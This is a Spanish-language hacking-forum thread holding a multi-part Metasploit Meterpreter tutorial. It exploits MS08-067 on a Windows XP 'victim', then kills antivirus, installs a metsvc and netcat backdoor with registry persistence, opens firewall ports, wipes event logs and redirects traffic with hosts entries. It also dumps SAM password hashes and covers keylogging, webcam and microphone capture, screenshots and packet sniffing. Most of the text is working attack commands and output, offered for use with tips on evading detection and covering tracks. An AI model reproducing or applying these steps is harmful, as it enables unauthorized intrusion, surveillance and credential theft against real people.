Vamos usar el exploit (muy conocido)windows/smb/ms08_067_netapi y el payload windows/meterpreter/bind_tcp para que nos de el meterpreter en la pc victima
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > set LHOST 192.168.1.100 LHOST => 192.168.1.100 msf exploit(ms08_067_netapi) > set RHOST 192.168.1.101 RHOST => 192.168.1.101 msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish [*] Selected Target: Windows XP SP3 Spanish (NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.1.101 [*] Meterpreter session 1 opened (192.168.1.100:1481 -> 192.168.1.101:4444) at 2002-01-13 16:05:53
-0200
meterpreter > Come se ve se coloca la ip de la victima, la ip de nuestra pc y se configura los puertos o no eso es a eleccion
¿Què es meterpreter?
“Meterpreter” e es una familia de plugins avanzados de los mismos creadores del Metasploit Framework,
que se utiliza sobre sistemas Windows comprometidos y tienen como característica fundamental que todo
es cargado en la memoria del sistema sin crear ningún proceso adicional ni dejar rastro
Ya tenes mos nuestro meterpreter y ahora?
Estos pasos son los que sigo yo pueden haber mejores o distintos, pero despues de leer mucho me parecio que estos pasos son los mejores
Ahora lo que voy hacer es mostrale los distintos comandos poniendo help
Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information about active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session help Help menu info Displays information about a Post module interact Interacts with a channel irb Drop into irb scripting mode load Load one or more meterpreter extensions migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module use Deprecated alias for 'load' write Writes data to a channel
Stdapi: File system Commands ============================
Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory del Delete the specified file download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files upload Upload a file or directory
Command Description ------- ----------- ifconfig Display interfaces ipconfig Display interfaces portfwd Forward a local port to a remote service route View and modify the routing table
Stdapi: System Commands =======================
Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands ===============================
Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components
Stdapi: Webcam Commands =======================
Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_list List webcams webcam_snap Take a snapshot from the specified webcam
Priv: Elevate Commands ======================
Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system.
meterpreter > getpid Current pid: 1036 meterpreter > ps
Process list ============
PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System x86 0 NT AUTHORITY\SYSTEM 252 wpabaln.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\wpabaln.exe 324 rundll32.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\rundll32.exe 360 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 524 csrss.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe 556 winlogon.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe 668 services.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\services.exe 680 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe 844 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe 944 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe 1036 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 1080 explorer.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\Explorer.EXE 1216 alg.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\System32\alg.exe 1220 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe 1292 svchost.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\system32\svchost.exe 1400 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe 1512 ctfmon.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\ctfmon.exe 1944 metsvc.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\VufEQSyNjJ\metsvc.exe
meterpreter > migrate 1080 [*] Migrating to 1080... [*] Migration completed successfully. meterpreter > getpid Current pid: 1080 meterpreter >Como se ve estaba en el pid 1036 = svchost.exe y lo que hice fue pasarme a el pid 1080 = explorer.exe Comandos usados fueron getpid ==> para saber en que pid o proceso estoy migrate ==> para mudarse de proceso
Ahora vamos a ver la parte del firewall y del antivirus
meterpreter > run killav [*] Killing Antivirus services on the target... meterpreter > run getcountermeasure [*] Running Getcountermeasure on the target... [*] Checking for contermeasures... [*] Getting Windows Built in Firewall configuration... [*] [*] Configuración del perfil Dominio: [*] ------------------------------------------------------------------- [*] Modo funcional = Habilitar [*] Modo de excepción = Habilitar [*] [*] Configuración del perfil Estándar (actual): [*] ------------------------------------------------------------------- [*] Modo funcional = Deshabilitar [*] Modo de excepción = Habilitar [*] [*] Configuración del servidor de seguridad Conexión de área local: [*] ------------------------------------------------------------------- [*] Modo funcional = Habilitar [*] [*] Checking DEP Support Policy... meterpreter > Comandos usados: killav y getcountermeasure Mas adelante voy a dar una descripcion de los comandos
Lo que voy a intentar ahora es hacer un backdoor para poder entrar a la pc victima cuando quiera sin hacer toda la explotacion de vuelta Para eso vamos utilizar el comando metsvc
meterpreter > run metsvc [*] Creating a meterpreter service on port 31337 [*] Creating a temporary installation directory C:\DOCUME~1\ADMINI~1\CONFIG~1\Temp\RuaehbuTVStIsh... [*] >> Uploading metsrv.dll... [*] >> Uploading metsvc-server.exe... [*] >> Uploading metsvc.exe... [*] Starting the service... * Installing service metsvc Cannot create service (0x00000431)
meterpreter > Como se ve se subio a la pc victima metsvc-server.exe y metsvc.exe
Vamos a reniciar la pc victima para entrar por el backdoor
meterpreter > getpid Current pid: 1864 meterpreter > ps
Process list ============
PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System x86 0 NT AUTHORITY\SYSTEM 356 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 476 explorer.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\Explorer.EXE 512 csrss.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe 552 winlogon.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe 664 services.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe 676 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe 840 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe 948 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe 1024 alg.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\System32\alg.exe 1044 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 1124 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe 1180 ctfmon.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\ctfmon.exe 1288 svchost.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\system32\svchost.exe 1420 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe 1724 wuauclt.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wuauclt.exe 1864 metsvc-server.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\VufEQSyNjJ\metsvc-server.exe 1964 metsvc.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\VufEQSyNjJ\metsvc.exe 2032 wpabaln.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\wpabaln.exe
meterpreter > Estamos corriendo por el proceso del backdoor 1864 metsvc-server.exe
meterpreter > clearev [*] Wiping 86 records from Application... [*] Wiping 144 records from System... [*] Wiping 0 records from Security... meterpreter >ya podemos estar un poco mas tranquilo y disfrutar de nuestro meterpreter pongo algunos coamndos para que vean
meterpreter > sysinfo Computer : HACKXCRA-7848AA OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : es_ES Meterpreter : x86/win32 meterpreter > Bueno en el proximo tuto vamos a ver las descripciones de los comandos usados tambien hacer un backdoor con netcat y otras cositas muy interesantes
Espero que se entienda cualquier duda estoy a sus ordenes je je je
saludosssss
Hola amigo kid_goth ha hecho los videos de estas practicas para que entiendan mejor Este es el primero
gracias kid
EDITO: tuto 2, 3 , 4 Y 5 abajo
Título: Re:METASPLOIT METERPRETER
Publicado por: ruben_linux en Marzo 27, 2012, 07:37:48 pm
muy bueno, me gusta. También podías comentar "VNC" es muy vistoso y gracioso.
;)
Título: Re:METASPLOIT METERPRETER
Publicado por: JULY en Marzo 27, 2012, 07:58:16 pm
Claro amigo metasploit es un mundo VNC ya esta hecho por zon3r ademas de ser mas sinple :) Mas adelante viene mas complicado y mas lindo jejejeje saludoss
Título: Re:METASPLOIT METERPRETER
Publicado por: Sasuke en Marzo 27, 2012, 09:22:57 pm
Muy bueno July no me esperaba menos de ti ;D
Título: Re:METASPLOIT METERPRETER
Publicado por: kid_goth en Marzo 27, 2012, 10:52:15 pm
seeee lo sabia xD lo sabia.... gracias july me gusta cada vez mas esto de MSF xD... saludos bro
Título: Re:METASPLOIT METERPRETER
Publicado por: Tarmo en Marzo 27, 2012, 10:57:22 pm
Esta muy bueno aunque me gustaria ver alguna intrusión en vez de windows xp... al 7
Título: Re:METASPLOIT METERPRETER
Publicado por: JULY en Marzo 27, 2012, 11:00:14 pm
meterpreter > upload C:\\nc.exe C:\\windows\\system32 [*] uploading : C:\nc.exe -> C:\windows\system32 [*] uploaded : C:\nc.exe -> C:\windows\system32\nc.exe meterpreter > Como se ve se subio el archivo con exito Ahora viene lo lindo, vamos al registro de windows(regedit) para lograr que cada vez que se inicie la maquina victima se ejecute nuestro netcat
meterpreter > execute -f cmd -i Process 1600 created. Channel 2 created. Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>netsh firewall show opmode netsh firewall show opmode
Configuración del perfil Dominio: ------------------------------------------------------------------- Modo funcional = Habilitar Modo de excepción = Habilitar
Configuración del perfil Estándar (actual): ------------------------------------------------------------------- Modo funcional = Deshabilitar Modo de excepción = Habilitar
Configuración del servidor de seguridad Conexión de área local: ------------------------------------------------------------------- Modo funcional = Habilitar
Lo que se hizo fue llamar a una shell de la pc victima( execute -f cmd -i) y despues ponemos este comando netsh firewall show opmode
Abrimos el puerto 445 en el firewall, y comprobamos si se creo bien a regla
C:\WINDOWS\system32>netsh firewall show portopening netsh firewall show portopening
Port configuration for Domain profile: Port Protocol Mode Name ------------------------------------------------------------------- 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service
Port configuration for Standard profile: Port Protocol Mode Name ------------------------------------------------------------------- 455 TCP Enable Service Firewall 139 TCP Enable NetBIOS Session Service 445 TCP Enable SMB over TCP 137 UDP Enable NetBIOS Name Service 138 UDP Enable NetBIOS Datagram Service
C:\WINDOWS\system32>Bueno ahora a reiniciar la pc victima primero salimos de la shell con exit y en meterpreter ponemos el comando reboot En muestra pc en cmd nos vamos a conectar con la maquina victima
PID Name Arch Session User Path --- ---- ---- ------- ---- ---- 0 [System Process] 4 System x86 0 NT AUTHORITY\SYSTEM 256 explorer.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\Explorer.EXE 360 smss.exe x86 0 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 516 csrss.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe 548 winlogon.exe x86 0 NT AUTHORITY\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe 620 alg.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\System32\alg.exe 660 services.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\system32\services.exe 672 lsass.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\lsass.exe 800 nc.exe x86 0 HACKXCRA-7848AA\Administrador C:\windows\system32\nc.exe 844 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\svchost.exe 864 ctfmon.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\ctfmon.exe 928 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe 1040 svchost.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\System32\svchost.exe 1236 svchost.exe x86 0 NT AUTHORITY\Servicio de red C:\WINDOWS\system32\svchost.exe 1288 svchost.exe x86 0 NT AUTHORITY\SERVICIO LOCAL C:\WINDOWS\system32\svchost.exe 1416 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\spoolsv.exe 1712 wuauclt.exe x86 0 NT AUTHORITY\SYSTEM C:\WINDOWS\system32\wuauclt.exe 1784 cmd.exe x86 0 HACKXCRA-7848AA\Administrador C:\windows\system32\cmd.exe 1848 metsvc.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\VufEQSyNjJ\metsvc.exe 1920 metsvc-server.exe x86 0 NT AUTHORITY\SYSTEM
C:\WINDOWS\TEMP\VufEQSyNjJ\metsvc-server.exe 1940 wpabaln.exe x86 0 HACKXCRA-7848AA\Administrador C:\WINDOWS\system32\wpabaln.exe
meterpreter >
Hay muchos metodos para hacer esto, tambien con conexion inversa osea nosotros estamos a la ecucha(listen) y la pc victima se nos conecta a nosotros esto es bueno para evitar el firewall Ademas prefiero un bifrost o spynet porque en el reg de windows lo hace solo entre otras cosas ;) Pero esta practica nos enseña hacer las cosas a mano tanto para el regedit como para el firewall
Dentro de poco se viene el tuto 3
saludos
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I Y II
Publicado por: kid_goth en Marzo 28, 2012, 10:25:07 pm
jejejeje te me adelantas mucho xD...
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I Y II
Publicado por: Neutron en Marzo 29, 2012, 01:49:06 am
Excelente amigo, que vengan mas tutoriales ;D
Un saludo!
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I Y II
Publicado por: JULY en Marzo 29, 2012, 03:54:02 pm
3DESCRIPCION DE COMANDOS
Hola amigos vamos a ver la descripcion de los comandos de METERPRETER
El script 'checkvm', como su nombre indica muestra si usted esta trabajando con una Maquina virtual. Esta información puede ser muy útil.
[*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........ [*] This is a VMware Workstation/Fusion Virtual Machine
Los controles del script 'getcountermeasure' muetra la configuración de seguridad en el sistema que se puede deshabilitar a las víctimas y otras medidas de seguridad tales como A / V, Firewall, y mucho más:
[*] Running Getcountermeasure on the target... [*] Checking for contermeasures... [*] Getting Windows Built in Firewall configuration... [*] [*] Domain profile configuration: [*] ------------------------------------------------------------------- [*] Operational mode = Disable [*] Exception mode = Enable [*] [*] Standard profile configuration: [*] ------------------------------------------------------------------- [*] Operational mode = Disable [*] Exception mode = Enable [*] [*] Local Area Connection 6 firewall configuration: [*] ------------------------------------------------------------------- [*] Operational mode = Disable [*] [*] Checking DEP Support Policy... El script 'getgui' se utiliza para habilitar RDP en un sistema de destino si está deshabilitado. (Es usado para conexiones remotas, escritorio remoto)
Windows Remote Desktop Enabler Meterpreter Script Usage: getgui -u -p
OPTIONS:
-e Enable RDP only. -h Help menu. -p The Password of the user to add. -u The Username of the user to add.
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator [*] Carlos Perez [email protected] [*] Enabling Remote Desktop [*] RDP is already enabled [*] Setting Terminal Services service startup mode [*] Terminal Services service is already set to auto [*] Opening port in local firewall if necessary El script 'gettelnet' se utiliza para habilitar telnet a la víctima si está deshabilitado.
Windows Telnet Server Enabler Meterpreter Script Usage: gettelnet -u -p
OPTIONS:
-e Enable Telnet Server only. -h Help menu. -p The Password of the user to add. -u The Username of the user to add.
meterpreter > run gettelnet -e
[*] Windows Telnet Server Enabler Meterpreter Script [*] Setting Telnet Server Services service startup mode [*] The Telnet Server Services service is not set to auto, changing it to auto ... [*] Opening port in local firewall if necessary El script 'KillAV' se puede utilizar para deshabilitar los programas antivirus más ejecuta como un servicio en un objetivo.
[*] Killing Antivirus services on the target... [*] Killing off cmd.exe... El script 'get_local_subnets'se utiliza para obtener la máscara de subred local de una víctima. Esto puede ser muy útil la información a tener para girar.
Local subnet: 10.211.55.0/255.255.255.0 La secuencia de comandos 'hostsedit' Meterpreter es para agregar las entradas a los anfitriones de archivos de Windows. Puesto que Windows comprobará el archivo de hosts primero en lugar del servidor DNS configurado, también contribuirá a desviar el tráfico a una entrada o entradas falsas. Cualquiera de una sola entrada se puede proporcionar o una serie de entradas se puede proporcionar un archivo que contiene una entrada por línea.
-e Host entry in the format of IP,Hostname. -h Help Options. -l Text file with list of entries in the format of IP,Hostname. One per line.
Example:
run hostsedit -e 127.0.0.1,google.com run hostsedit -l /tmp/fakednsentries.txt
meterpreter > run hostsedit -e 10.211.55.162,www.microsoft.com [*] Making Backup of the hosts file. [*] Backup loacated in C:\WINDOWS\System32\drivers\etc\hosts62497.back [*] Adding Record for Host www.microsoft.com with IP 10.211.55.162 [*] Clearing the DNS Cache La secuencia de comandos 'remotewinenum' van a enumerar la información del sistema a través de wmic víctima. Tome nota que estos sucesos son almacenados, quizas nos toque borrar huellas lluego despues de usar este script.
Remote Windows Enumeration Meterpreter Script This script will enumerate windows hosts in the target environment given a username and password or using the credential under witch Meterpreter is running using WMI wmic windows native tool. Usage:
OPTIONS:
-h Help menu. -p Password of user on target system -t The target address -u User on the target system (If not provided it will use credential of process)
meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128
[*] Saving report to /root/.msf3/logs/remotewinenum/10.211.55.128_20090711.0142 [*] Running WMIC Commands .... [*] running command wimic environment list [*] running command wimic share list [*] running command wimic nicconfig list [*] running command wimic computersystem list [*] running command wimic useraccount list [*] running command wimic group list [*] running command wimic sysaccount list [*] running command wimic volume list brief [*] running command wimic logicaldisk get description,filesystem,name,size [*] running command wimic netlogin get name,lastlogon,badpasswordcount [*] running command wimic netclient list brief [*] running command wimic netuse get name,username,connectiontype,localname [*] running command wimic share get name,path [*] running command wimic nteventlog get path,filename,writeable [*] running command wimic service list brief [*] running command wimic process list brief [*] running command wimic startup list full [*] running command wimic rdtoggle list [*] running command wimic product get name,version [*] running command wimic qfe list El script 'winenum' hace de una herramienta muy detallada enumeración de las ventanas. Volcado de ficheros, hashes y mucho más
Remote Windows Enumeration Meterpreter Script This script will enumerate windows hosts in the target environment given a username and password or using the credential under witch Meterpreter is running using WMI wmic windows native tool. Usage:
OPTIONS:
-h Help menu. -p Password of user on target system -t The target address -u User on the target system (If not provided it will use credential of process)
meterpreter > run remotewinenum -u administrator -p ihazpassword -t 10.211.55.128
[*] Saving report to /root/.msf3/logs/remotewinenum/10.211.55.128_20090711.0142 [*] Running WMIC Commands .... [*] running command wimic environment list [*] running command wimic share list [*] running command wimic nicconfig list [*] running command wimic computersystem list [*] running command wimic useraccount list [*] running command wimic group list [*] running command wimic sysaccount list [*] running command wimic volume list brief [*] running command wimic logicaldisk get description,filesystem,name,size [*] running command wimic netlogin get name,lastlogon,badpasswordcount [*] running command wimic netclient list brief [*] running command wimic netuse get name,username,connectiontype,localname [*] running command wimic share get name,path [*] running command wimic nteventlog get path,filename,writeable [*] running command wimic service list brief [*] running command wimic process list brief [*] running command wimic startup list full [*] running command wimic rdtoggle list [*] running command wimic product get name,version [*] running command wimic qfe list El script 'winenum' hace de una herramienta muy detallada enumeración de las ventanas. Volcado de ficheros, hashes y mucho más.
meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script [*] New session on 10.211.55.128:4444... [*] Saving report to /root/.msf3/logs/winenum/10.211.55.128_20090711.0514-99271/10.211.55.128_20090711.0514-99271.txt [*] Checking if SSHACKTHISBOX-0 is a Virtual Machine ........ [*] This is a VMware Workstation/Fusion Virtual Machine [*] Running Command List ... [*] running command cmd.exe /c set [*] running command arp -a [*] running command ipconfig /all [*] running command ipconfig /displaydns [*] running command route print [*] running command net view [*] running command netstat -nao [*] running command netstat -vb [*] running command netstat -ns [*] running command net accounts [*] running command net accounts /domain [*] running command net session [*] running command net share [*] running command net group [*] running command net user [*] running command net localgroup [*] running command net localgroup administrators [*] running command net group administrators [*] running command net view /domain [*] running command netsh firewall show config [*] running command tasklist /svc [*] running command tasklist /m [*] running command gpresult /SCOPE COMPUTER /Z [*] running command gpresult /SCOPE USER /Z [*] Running WMIC Commands .... [*] running command wmic computersystem list brief [*] running command wmic useraccount list [*] running command wmic group list [*] running command wmic service list brief [*] running command wmic volume list brief [*] running command wmic logicaldisk get description,filesystem,name,size [*] running command wmic netlogin get name,lastlogon,badpasswordcount [*] running command wmic netclient list brief [*] running command wmic netuse get name,username,connectiontype,localname [*] running command wmic share get name,path [*] running command wmic nteventlog get path,filename,writeable [*] running command wmic process list brief [*] running command wmic startup list full [*] running command wmic rdtoggle list [*] running command wmic product get name,version [*] running command wmic qfe [*] Extracting software list from registry [*] Finished Extraction of software list from registry [*] Dumping password hashes... [*] Hashes Dumped [*] Getting Tokens... [*] All tokens have been processed [*] Done! El script 'scraper' puede mostrar información del sistema mas profundamente, incluyendo todo el Registro. Los resultados de este comando se guardan en /root/.msf3/logs/scraper/10.211.55.128:4444...
[*] New session on 10.211.55.128:4444... [*] Gathering basic system information... [*] Dumping password hashes... [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\WINDOWS\TEMP\LQTEhIqo.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\WINDOWS\TEMP\GHMUdVWt.reg) El comando help, como cabria esperar, visualiza el menu de ayuda del Meterpreter.
meterpreter > help Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session channel Displays information about active channels ...snip... El comando 'background' enviara la sesion actual al fondo y te devolvera al prompt de msf. Para volver a tu sesion del Meterpreter, simplemente vuelve a interactuar con ella.
meterpreter > background msf exploit(ms08_067_netapi) > sessions -i 1 [*] Starting interaction with 1... meterpreter > El comando 'ps' muestra una lista de los procesos ejecutandose en el objetivo
meterpreter > ps Process list ============ PID Name Path --- ---- ---- 132 VMwareUser.exe C:\Program Files\VMware\VMware Tools\VMwareUser.exe 152 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe 288 snmp.exe C:\WINDOWS\System32\snmp.exe ...snip... Usando el post modulo 'migrate', puedes migrar a otro proceso en la victima.
meterpreter > run post/windows/manage/migrate [*] Running module against V-MAC-XP [*] Current server process: svchost.exe (1076) [*] Migrating to explorer.exe... [*] Migrating into process ID 816 [*] New server process: Explorer.EXE (816) meterpreter > Como en Linux, el comando 'ls' listara los archivos en el directorio remoto actual
meterpreter > ls Listing: C:\Documents and Settings\victim ========================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Sat Oct 17 07:40:45 -0600 2009 . 40777/rwxrwxrwx 0 dir Fri Jun 19 13:30:00 -0600 2009 .. 100666/rw-rw-rw- 218 fil Sat Oct 03 14:45:54 -0600 2009 .recently-used.xbel 40555/r-xr-xr-x 0 dir Wed Nov 04 19:44:05 -0700 2009 Application Data ...snip... El comando 'download' descarga un fichero de la maquina remota. Notese la utilizacion de la doble contrabarra al proporcionar la ruta Windows
meterpreter > upload evil_trojan.exe c:\\windows\\system32 [*] uploading : evil_trojan.exe -> c:\windows\system32 [*] uploaded : evil_trojan.exe -> c:\windows\system32\evil_trojan.exe meterpreter > El comando 'ipconfig' muestra las interficies de red y sus direcciones en la maquina remota.
meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0c:29:10:f5:15 IP Address : 192.168.1.104 Netmask : 255.255.0.0 meterpreter > Ejecutando 'getuid' se mostrara el usuario que el servidor de Meterpreter esta ejecutando en el host.
meterpreter > execute -f cmd.exe -i -H Process 38320 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> El comando 'shell' te proporcionara una consola estandar en el sistema objetivo.
meterpreter > shell Process 39640 created. Channel 2 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32> Ejecutando 'idletime' se mostrara el numero de segundos que el usuario ha estado en espera en la maquina remota.
meterpreter > idletime User has been idle for: 5 hours 26 mins 35 secs meterpreter > El post modulo 'hashdump' volcara los contenidos de la base de datos SAM.
meterpreter > run post/windows/gather/hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hashes... Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3::: dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9::: victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d::: meterpreter >
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II y lll
Publicado por: Sasuke en Marzo 29, 2012, 07:11:34 pm
Genial July espero que haya muchos mas capítulos pero creo que deberías crear otro post para dudas y demás y dejar este solo para los tutoriales.Pero al meollo están muy bien sigue así
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II y lll
Publicado por: coco en Marzo 29, 2012, 07:27:16 pm
Muy bien July poresa explication saludos.
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II y lll
Publicado por: JULY en Marzo 29, 2012, 09:20:03 pm
4 EXTENCIONES ESPIA SNIFFER
Hola hoy vamos a usar las extensiones espia y sniffer
La extension espia, se usa para obtener imagenes de la pc victima (screenshots) por medio de meterpreter
meterpreter > screengrab Screenshot saved to: C:/Archivos de programa/Rapid7/framework/msf3/EetdCkva.jpeg (http://desmond.imageshack.us/Himg593/scaled.php?server=593&filename=hxc5.png&res=medium)
Como ven es muy facil todo esto gracias a meterpreter la foto de guarda en C:/Archivos de programa/Rapid7/framework/msf3/EetdCkva.jpeg
Bueno ahora vamos con sniffer Lo que vamos hacer con esta extension es poder monitorizar la actividad de los paquetes entrantes y saliente de la pc victima
meterpreter > use sniffer Loading extension sniffer...success. sniffer_interfaces: Retorna las interfaces disponibles en la maquina remota junto con información relacionada con sus dispositivos
Inicia el monitoreo activo sobre una Interface de red especificada, (esta Interface de red se indica por medio del identificador de la misma, que puede ser obtenido con el comando sniffer_interfaces)
meterpreter > sniffer_start 1 [*] Capture started on interface 1 (50000 packet buffer) Con este comando podemos ver cuantos paquetes han sido capturados por la extensión sniffer, como en el caso de sniffer_start es necesario indicar el identificador del dispositivo
Permite volcar los paquetes capturados en un fichero pcap, donde posteriormente es posible visualizarlo con una herramienta como wireshark y realizar el análisis correspondiente a la información obtenida, para su uso es necesario especificar el identificador de la interface y el nombre del fichero donde se almacenará la información capturada
meterpreter > sniffer_stop 1 [*] Capture stopped on interface 1 [*] There are packets ( bytes) remaining [*] Download or release them using 'sniffer_dump' or 'sniffer_release' meterpreter > Muy bien asi de facil, el archivo va hacer guardado en C:\Archivos de programa\Rapid7\framework\msf3(en mi caso) Lo cargo en WireShark para poder analizarlo
Título: Re:METASPLOIT METERPRETER EDITADO PARTE I , II , III y IV
Publicado por: coco en Marzo 31, 2012, 07:48:57 am
sniffer_dump:
Permite volcar los paquetes capturados en un fichero pcap, donde posteriormente es posible visualizarlo con una herramienta como wireshark y realizar el análisis correspondiente a la información obtenida
